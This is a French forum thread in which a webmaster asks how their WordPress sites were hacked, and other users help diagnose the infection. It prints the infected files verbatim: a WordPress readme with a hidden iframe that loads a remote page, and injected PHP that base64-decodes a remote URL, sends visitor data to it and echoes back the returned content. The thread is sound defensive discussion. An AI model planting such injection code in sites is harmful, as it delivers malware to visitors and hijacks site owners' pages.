8721 sujets

Développement web côté serveur, CMS

Bonjour,
Voila j'ai un gros gros problème l'un de nos sites hébergés sur un ovh mutualisé s'est fait hacker par notre ami : AmiRh03in. En tapant son pseudo sur google on se rend compte qu'il n'en est pas à son premier.
Voila ça c'est un fait maintenant j'aimerai bien savoir comment. Le site en question est un wordpress et le hack en question consiste à injecter des pages html à la racine du ftp. On a donc un x.htm qui contient la page d'exploit de "AmiRh03in" et un readme.html qui contient le readme de wordpress + un WebGen cheval de Troie. Quand j'ouvre le readme.html avec un éditeur je ne vois aucun code malicieux pourtant mon antivirus me détecte un virus.

Donc trois questions :
Comment ce peut-il qu'un fichier html ne contenant aucun code malicieux puisse se comporter comme un virus ?
Comment peut-il injecter des fichiers sur un ftp ?
Comment s'en débarrasser définitivement ?
Modifié par Su4p (19 Apr 2013 - 12:10)
Le code au complet du fichier contenant le cheval de Troie
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>WordPress &#8250; À lire</title>
	<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
	<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a> 
	<br />Version 3.5

</h1>
<p style="text-align: center">Plateforme de publication sémantique personnelle</p>

<h1>Préambule</h1>
<p>Bienvenue. WordPress est un projet très spécial pour moi. Chaque développeur et contributeur ajoute quelque chose d'unique à ce projet, et ensemble nous créons quelque chose de beau, et dont je suis fier de faire partie. Nous avons passé des milliers d'heures sur le développement WordPress, et nous nous attachons tous les jours à vous faciliter la vie. Merci d'en faire une partie d'un morceau de votre monde.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>

<h1>Installation : la fameuse installation en 5 minutes</h1>
<ol>
	<li>Décompressez l'archive dans un dossier vide de votre ordinateur, puis mettez tous ces fichiers en ligne ;</li>
	<li>Ouvrez le fichier <code>wp-config-sample.php</code> avec votre éditeur de texte préféré, comme WordPad ou similaire, et complétez les informations liées à votre base de données ;</li>
	<li>Sauvegardez le fichier sous le nom <code>wp-config.php</code> ;</li>
	<li>Envoyez le tout sur votre hébergement via un logiciel client FTP ;</li>
	<li>Ouvrez le fichier <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> dans votre navigateur. Celui-ci vous guidera dans la création du fichier <code>wp-config.php</code>, qui contient les détails de connexion à votre base de données ;
		<ol>
			<li>Si cela ne marchait pas, ne vous inquiétez pas : certains hébergeurs n'autorisent pas la création de fichier. Ouvrez le fichier <code>wp-config.php</code> avec un éditeur de texte, et sasissez-y directement les détails de connexion à votre base de données ;</li>
			<li>Enregistrez le fichier sous le nom <code>wp-config.php</code> et mettez-le en ligne ;</li>
			<li>Ouvrez le fichier  <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> dans votre navigateur ;</li>
		</ol>
	</li>
	<li>Une fois le fichier de configuration correctement rempli, l'installateur met en place les tables nécessaires à votre blog. Si vous obtenez une erreur, vérifiez le contenu du fichier <span class="file"><code>wp-config.php</code></span>, et réessayez. Si cela échoue encore une fois, rendez-vous sur les <a href="http://www.WordPress-fr.net/support/">forums d'entraide</a> et soyez le plus précis possible dans vos explications. Si tout se passe bien, passez à l'étape suivante ;</li>
	<li><strong>Si vous n'avez pas précisé de mot de passe, notez bien celui qui vous est donné.</strong> Si vous n'avez pas précisé d'identifiant utilisateur, ce sera <code>admin</code> ;</li>
	<li>Une fois l'installation terminée, le script d'installation vous renverra vers la <a href="wp-login.php">page de connexion</a>. Connectez-vous avec l'identifiant et le mot de passe précisés (ou générés) durant l'installation. Si le mot de passe a été généré pour vous, cliquez sur "Profil" pour le modifier.</li>
</ol>

<h1>Mise à jour</h1>
<h2>A l'aide de l'outil de mise à jour automatique</h2>
<p>Si votre version de WordPress est égale ou supérieure à 2.7, vous pouvez utiliser l'outil de mise à jour automatique&nbsp;:</p>
<ol>
	<li>Ouvrez la page <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> dans votre navigateur, et suivez les instructions&nbsp;;</li>
	<li>Vous pensiez qu'il y aurait d'autres étapes ? C'est tout !</li>
</ol>

<h2>Mise à jour manuelle (obligatoire pour les versions de WordPress inférieures à 2.7) :</h2>
<ol>
	<li>Avant tout, assurez-vous bien de disposer de copies de sauvegarde de tous les fichiers que vous avez modifiés, par exemple <code>index.php</code>.</li>
	<li>Effacez vos anciens fichiers WordPress, sauf ceux que vous avez modifié, comme <span class="file"><code>wp-config.php</code></span> ou le contenu du dossier <span class="file"><code>/wp-content/</code></span>.</li>
	<li>Mettez en ligne les nouveaux fichiers en provenance de l'archive de WordPress.</li>
	<li>Allez sur la page <code><span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></code> avec votre navigateur internet.</li>
</ol>

<h2>Modification dans les thèmes</h2>
<p>Si vous avez modifié votre thème, vous aurez probablement quelques modifications à faire</p>

<h1>Migrer depuis d'autres logiciels/plates-formes</h1> 
<p>WordPress peut <a href="http://codex.wordpress.org/Importing_Content">importer les articles en provenance de nombreux autres outils (en)</a>. Vous devez d'abord installer WordPress comme expliqué plus haut, puis utiliser <a href="wp-admin/import.php" title="Importer dans WordPress">un des importateurs</a>.</p>

<h1>Prérequis fonctionnels</h1> 
<ul>
	<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> ou plus ;</li>
	<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> ou plus.</li>
</ul>

<h1>Ressources en ligne</h1>
<p>Si vous vous posez des questions dont les réponses ne figurent pas sur ce document, vous disposez de nombreuses ressources en ligne :</p>
<dl>
	<dt><a href="http://codex.wordpress.org/">Le Codex WordPress</a></dt>
		<dd>Le Codex est l'encyclopédie liée à tout le fonctionnement de WordPress. Il s'agit de la source d'informations la plus complète qui soit.</dd>
	<dt><a href="http://wordpress.org/blog/">Le blog de WordPress</a></dt>
		<dd>C'est ici que vous trouverez les dernières informations, les annonces et les nouveautés de WordPress. Les derniers articles de ce blog sont affichés dans le Tableau de Bord de WordPress par défaut.</dd>
	 <dt><a href="http://planet.wordpress.org/">Planète WordPress</a></dt>
		<dd>La Planète WordPress est un agrégateur de news qui distille les articles de plusieurs blogs WordPress à travers le web.</dd>
	<dt><a href="http://wordpress-fr.net/support/">Support WordPress Francophone</a></dt>
		<dd>Si vous avez cherché partout et que malgré cela vous n'avez trouvé aucune réponse, les forums sont très actifs et son immense communauté sera prête à vous aider. Pour un traitement efficace de votre problème, faites en sorte d'utiliser, lors de la création de votre sujet, un titre et une description aussi pertinents et clairs que possible.</dd>
	 <dt><a href="http://codex.wordpress.org/IRC">Canal <abbr title="Internet Relay Chat">IRC</abbr> WordPress</a></dt>
		<dd>Il existe un canal IRC qui est le rendez-vous des utilisateurs WordPress, et occasionnellement, propose son aide aux sujets liés au support. La page Wiki devrait vous indiquer la bonne direction.</dd>
</dl>

<h1>Interfaces <abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> et Atom</h1>
<p>Il vous est possible d'écrire vos articles via des outils de publication comme <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (ce qui signifie que vous pouvez utiliser leur fonction "email-to-blog"), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, et d'autres outils qui utilisent les <abbr title="application programming interface">API</abbr> de blog  [smile] Pour en savoir davantage, rendez-vous sur la <a href="http://codex.wordpress.org/XML-RPC_Support">page du Codex expliquant le support <abbr>XML</abbr>-<abbr>RPC</abbr> (en)</a>.</p>

<h1>Publier par messagerie</h1>
<p>Il vous est possible d'écrire directement vos articles  à partir d'un logiciel de messagerie ! Pour cela, vous devez vous rendre sur la page d'options &quot;Ecriture&quot; et indiquer les détails de votre compte <abbr title="Post Office Protocol version 3">POP3</abbr> secret. Ensuite, vous devez faire en sorte que <code>wp-mail.php</code> s'exécute périodiquement, afin qu'il parcoure votre boite aux lettres à la recherche de nouveaux articles. Vous pouvez par exemple créer une tâche <a href="http://en.wikipedia.org/wiki/Cron">cron</a>, ou si votre hébergeur ne supporte pas cette possibilité, il existe de nombreux sites proposant un service similaire de monitoring : il vous suffira d'indiquer l'adresse de votre fichier <code>wp-mail.php</code></p>
<p>Publier devient facile : n'importe quel message envoyé à l'adresse que vous aurez précisée sera publié, le sujet du message étant le titre de l'article. Il est préférable de conserver cette adresse à l'abri des regards indiscrets. Le script <em>effacera automatiquement</em> les messages qui auront été publiés avec succès</p>

<h1>Rôles d'utilisateurs</h1>
<p>Nous avons mis en place un système de rôles très flexible dans la version 2.0. Référez-vous à la partie du codex expliquant <a href="http://codex.wordpress.org/Roles_and_Capabilities">les rôles et capacités des utilisateurs (en)</a>.</p>

<h1>Pour finir</h1>
<ul>
	<li>Si vous avez des suggestions, des idées, des commentaires ou si (oups !) avez trouvé un bug, venez nous rejoindre sur les <a href="http://wordpress.org/support/">forums anglophones</a>.</li>
	<li>WordPress possède une <abbr title="Application Programming Interface">API</abbr> d'extension robuste, qui permet d'étendre les possibilités de son code de manière simple. Si vous êtes un développeur intéressé par son utilisation, rendez-vous sur la <a href="http://codex.wordpress.org/Plugin_API">documentation des extensions sur le Codex</a>. Vous ne devriez pas avoir à modifier une partie du code original.</li>
</ul>

<h1>Faites connaître WordPress !</h1>
<p>WordPress ne possède pas une kyrielle de millions de dollars pour s'offrir une campagne marketing, ni de célèbres sponsors, mais nous avons bien mieux : VOUS. Si vous appréciez WordPress, n'hésitez pas à en parler à votre entourage, vos amis, en aidant d'autres personnes ayant un niveau inférieur au vôtre, ou encore écrire un article faisant référence à notre travail.</p>

<p>WordPress est la reprise officielle de <a href="http://cafelog.com/">b2/caf&eacute;log</a>, provenant de Michel V. Le travail a continué d'être assuré par <a href="http://wordpress.org/about/">les développeurs WordPress</a>. Si vous voulez apporter votre soutien à WordPress, n'hésitez pas à <a href="http://wordpress.org/donate/">faire un don</a>.</p>

<h1>Licence</h1>
<p>WordPress est un logiciel libre, mis à disposition sous les termes de la licence <abbr title="GNU Public License">GPL</abbr> version 2, ou de toute version suivante, au choix (voir <a href="license.txt">license.txt</a> (en anglais)).</p>

</body>
</html><iframe src="http://impactcomputer.co.uk/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>
Il y a aussi des injections de code PHP dans les index.php :

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
Hello,

1. Le code malicieux de readme.html vient de l'iframe ajoutée en douce vers un site vérolé.(dernière ligne :
<iframe src="xxx" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>
)
Tu ne la vois pas à l'écran, mais la page est appelée, et avec elle le trojan.

2. La mise sur serveur de fichiers peut se faire à partir de failles présentes sur ton site. (visiblement c'est le cas: http://ninjafirewall.com/malware/index.php?threat=2013-02-22.01 - backdoor Wordpress)

3. Comment s'en débarrasser: réinstallation complète du site avec un CMS à jour, changement de mot de passe ftp, et prier pour qu'il n'ait pas pris le contrôle du serveur. (ou qu'il ait laissé une backdoor sur celui-ci)
1. J'ai été voir la page de l'iframe et rien de sensationnel il s'agit d'un site de vente de matériel. La page counter.php n'affiche aucun script.
2. Oui je me suis renseigné mais le problème c'est que la backdoor wordpress permettant l'injection de ce code n'est pas présente sur mon wordpress (source)
3. Cela a déjà été fait dans le passé concernant ce même problème avec formatage de toutes les machines + changement des mdp ftp + MAJ des CMS. Coté serveur c'est du OVH mutualisé et je doute par conséquent qu'il ait laissé une backdoor
Su4p a écrit :

2. Oui je me suis renseigné mais le problème c'est que la backdoor wordpress permettant l'injection de ce code n'est pas présente sur mon wordpress (source)


Des backdoors sur des modules (themes, plugins, bibliothèques...) Wordpress il en existe des milliers, pourquoi tu parles de celui la en particulier ?
@jb_fx --> vrai
En vérifiant tous les sites sur lesquels nous utilisons WordPress je me suis rendu compte que tous avaient été touchés. Et le module commun à tous ces sites est askimet qui semble avoir été victime d'une faille permettant aussi l'injection de ce type de code. Il y aurait aussi W3 total cache.... En réalité à chaque fois que je tape un nom de module + backdoor je trouve des résultats ! c'est à en devenir complètement parano.
Pour le moment j'ai appliqué plusieurs règles de sécurités trouvées ici et là, nettoyé tous les fichiers ayant été modifiés et mis à jour tous les wordpress + les plugins.
En espérant que ce problème ne reproduise plus.